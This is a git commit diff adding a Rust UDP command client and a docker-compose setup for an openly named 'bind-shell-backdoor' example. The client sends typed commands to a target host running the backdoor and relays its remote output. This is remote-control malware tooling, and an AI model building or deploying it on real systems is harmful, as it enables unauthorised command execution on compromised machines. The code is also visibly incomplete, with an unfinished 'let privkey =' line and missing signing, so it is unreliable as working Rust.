feat: added a client, but forgot to add signing

This commit is contained in:
Andrew Rioux 2023-04-28 18:05:08 -04:00
parent 40d105b043
commit 50bca92194
6 changed files with 79 additions and 5 deletions

View File

@ -16,4 +16,4 @@
FROM rust:1-alpine
RUN apk add bash docker git cmake make automake musl-dev \
flex bison linux-headers openssl-dev apache2-utils
flex bison linux-headers openssl-dev apache2-utils docker-compose

4
.gitignore vendored
View File

@ -1,3 +1,3 @@
target
examples/bind-shell-backdoor/pubkey
examples/bind-shell-backdoor/privkey
examples/bind-shell/key-generator/pubkey
examples/bind-shell/key-generator/privkey

4
Cargo.lock generated
View File

@ -74,6 +74,10 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
[[package]]
name = "client"
version = "0.1.0"
dependencies = [
"anyhow",
"ed25519-dalek",
]
[[package]]
name = "cmake"

View File

@ -0,0 +1,13 @@
version: '3.8'
services:
examples_bindshell_target:
image: ubuntu:20.04
volumes:
- ./target:/backdoor
command: /backdoor/release/bind-shell-backdoor
examples_bindshell_client:
image: alpine
volumes:
- ./target:/backdoor
command: /backdoor/release/client examples_bindshell_target:54248

View File

@ -6,3 +6,5 @@ edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
anyhow = "1.0.70"
ed25519-dalek = "1.0.1"

View File

@ -1,3 +1,58 @@
fn main() {
println!("Hello, world!");
use std::{io::prelude::*, net::UdpSocket, thread};
use anyhow::anyhow;
const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey");
fn main() -> anyhow::Result<()> {
let privkey =
let mut stdout = std::io::stdout();
let mut stderr = std::io::stderr();
let stdin = std::io::stdin();
let mut args = std::env::args();
args.next();
let target = args.next().ok_or(anyhow!("Please specify a target IP"))?;
let remote_stdin = UdpSocket::bind("0.0.0.0:0")?;
let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?;
let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?;
let out_thread = thread::spawn(move || {
let mut buffer = [0u8; 1024];
loop {
let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; };
let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; };
}
});
let err_thread = thread::spawn(move || {
let mut buffer = [0u8; 1024];
loop {
let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; };
let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; };
}
});
loop {
let mut cmd = String::new();
let Ok(_) = stdin.read_line(&mut cmd) else { continue; };
let cmd = cmd.trim();
if cmd == "exit" {
break;
}
let Ok(_) = remote_stdin.send_to(cmd.as_bytes(), &target) else {
continue;
};
}
drop(out_thread);
drop(err_thread);
Ok(())
}